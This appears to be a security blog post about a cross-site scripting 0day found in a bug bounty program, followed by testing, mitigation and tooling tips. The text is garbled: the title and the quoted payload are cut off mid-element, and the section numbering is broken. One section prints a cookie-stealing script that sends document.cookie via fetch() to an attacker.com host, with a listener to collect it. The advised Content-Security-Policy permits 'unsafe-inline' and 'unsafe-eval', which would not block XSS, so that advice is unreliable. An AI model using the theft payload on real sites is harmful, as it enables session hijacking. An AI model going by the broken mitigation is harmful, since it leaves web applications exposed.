day XSS Vulnerability with Payload: orwa%”>

A critical 0day Cross-Site Scripting (XSS) vulnerability has been discovered, affecting multiple domains in a Private Bug Bounty Program. The payload `orwa%27\”>

You Should Know:

1. Understanding the XSS Payload

The payload exploits improper input sanitization, injecting a malicious SVG element with an `onload` event triggering alert(document.cookie).

Breakdown:

– `orwa%27\”>` – Escapes HTML attributes.
– `

2. Testing for XSS Vulnerabilities

Use these commands to test for XSS:

Linux (curl + grep):

curl -s "http://example.com/search?q=<script>alert(1)</script>" | grep -i "script"

Using Burp Suite:

• Intercept a request, modify parameters with XSS payloads.
• Check if payload executes in response.

3. Mitigation Techniques

• Input Sanitization: Use libraries like `DOMPurify` (JavaScript):

  const clean = DOMPurify.sanitize(userInput);
  

• Content Security Policy (CSP):

Add this HTTP header:

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'

• Secure Coding in PHP:

  echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
  

  1. Exploiting XSS for Cookie Theft (For Educational Purposes)

A malicious payload to steal cookies:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Monitor stolen data with Python HTTP server:

python3 -m http.server 80

5. Automated XSS Scanning with Tools

• XSS Hunter: (`https://xsshunter.com`)
• XSStrike:

  git clone https://github.com/s0md3v/XSStrike.git 
  cd XSStrike 
  python3 xsstrike.py -u "http://example.com/search?q=test"
  

What Undercode Say:

XSS remains a top web security threat due to poor input handling. Always sanitize user inputs, enforce CSP, and test applications using automated scanners. For penetration testers, mastering XSS leads to uncovering critical flaws in web apps.

Expected Output:

A secure web application that filters malicious inputs and prevents unauthorized script execution.

Relevant URL:

• XSS Prevention Cheat Sheet: `https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html`

References:

Reported By: Ibrahim Husi%C4%87 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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